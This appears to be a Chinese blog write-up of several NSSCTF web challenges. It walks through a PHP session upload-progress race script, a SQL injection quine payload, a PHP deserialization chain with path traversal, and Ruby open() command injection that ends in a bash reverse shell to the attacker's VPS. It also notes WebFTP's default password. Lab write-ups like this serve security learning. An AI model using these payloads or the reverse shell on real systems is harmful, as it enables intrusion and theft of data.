复现地址:NSSCTF
感觉是非预期解:直接访问 phpinfo.php 即可拿到 flag。
首页,是 WebFTP,直接 github 搜到项目 WebFTP,是一个老框架了,默认密码 admin/admin888
。这里复现环境直接就登上了,不过比赛时默认密码是被改了的。
下载源码分析发现存在测试页 mytz.php 也有 phpinfo。
/Readme/mytz.php?act=phpinfo
访问首页给源码:
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
可以列目录,不过没法查看,字符长度受限,由于 flag 文件名太长导致文件包含也不行
?mode=eval&shell=system("ls /");
# 以下报 hacker
?mode=eval&shell=system("nl /*");
?mode=eval&shell=1&file=/nssctfasdasdflag
不过这里可以利用 session.upload_progress 进行上传临时 session 文件并包含:
条件竞争 exp:
import io,sys
import requests
import threading
sessid = 'air'
url = 'http://1.14.71.254:28070/'
payload = ""
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url,
data = {"PHP_SESSION_UPLOAD_PROGRESS": payload},
files = {"file":('a.txt', f)},
cookies = {'PHPSESSID':sessid}
)
def read(session):
while True:
res = session.get( '%s?mode=eval&shell=1&file=/tmp/sess_%s'%(url,sessid))
if 'findit' not in res.text:
print('[+++]retry')
else:
print(res.text)
sys.exit(0)
if __name__=="__main__":
with requests.session() as session:
threading.Thread(target=write, args=(session, ), daemon=True).start()
read(session)
结果:
网页源代码提示 /?source
,拿到源码
include_once("lib.php");
function alertMes($mes,$url){
die("");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
考点是 Quine,指的是输出结果与程序自身源码一致。
参考文章:SQLi Quine 和 yet_another_mysql_injection。
改了一下 exp:
sign = '1'
data = f"'UNION/**/SELECT/**/{sign*2}#"
def quine(data, debug=True):
if debug: print(data)
data = data.replace(f'{sign*2}',f"REPLACE(REPLACE({sign*2},CHAR(34),CHAR(39)),CHAR({ord(sign)}),{sign*2})")
blob = data.replace(f'{sign*2}',f'"{sign}"').replace("'",'"')
data = data.replace(f'{sign*2}',"'"+blob+"'")
if debug: print(data)
return data
data = quine(data)
print(data)
payload:
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#')#
结果:
访问直接给源码:
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
有一个比较,不过 $heat
变量并没有定义,或者是类外的变量,会报 PHP Notice: Undefined variable
错误,所以这里 nova 为 NULL 就会判定其相等,最后调用 file_get_contents 函数去读取 flag.php 文件即可。
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova){...}
构造 payload:
class pkshow {}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$a = new ace();
$a->filename = 'flag.php';
//$a->filename = '../../../../../../nssctfasdasdflag';
$c = new pkshow();
$a->docker = serialize($c);
$this->cinder = $a;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$b = new acp();
echo urlencode(serialize($b));
?>
访问:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
得到 flag.php 内容:
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";
修改一下 payload 得到 flag:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
直接附件下载 Ruby 代码:
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return ""
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return ""
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return ""
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
Ruby 中的 open 函数存在漏洞,如果以 |
开头则会 fork 出一个进程,而 |
后面的内容则会被当成一条命令执行:
cmd = open("|ls /|base64")
print cmd.gets
cmd.close
在 /convert 处抓包:
file=|ls;.png
# 过滤了 .. 和 / ,利用 base64 编码,“bHMgLwo=”即“ls /”
file=|echo bHMgLwo=|base64 -d|sh;.png
# 找了很久没找到 flag 文件,后面直接弹 shell 才发现原来在环境变量里
file=|env;.png
弹 shell:
# 得到 base64 值
echo 'bash -i >& /dev/tcp/vps_ip/2333 0>&1' | base64
# file 处填写,base64值得经过 url 编码
file=|echo base64值 | base64 -d | bash;.png
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/123118953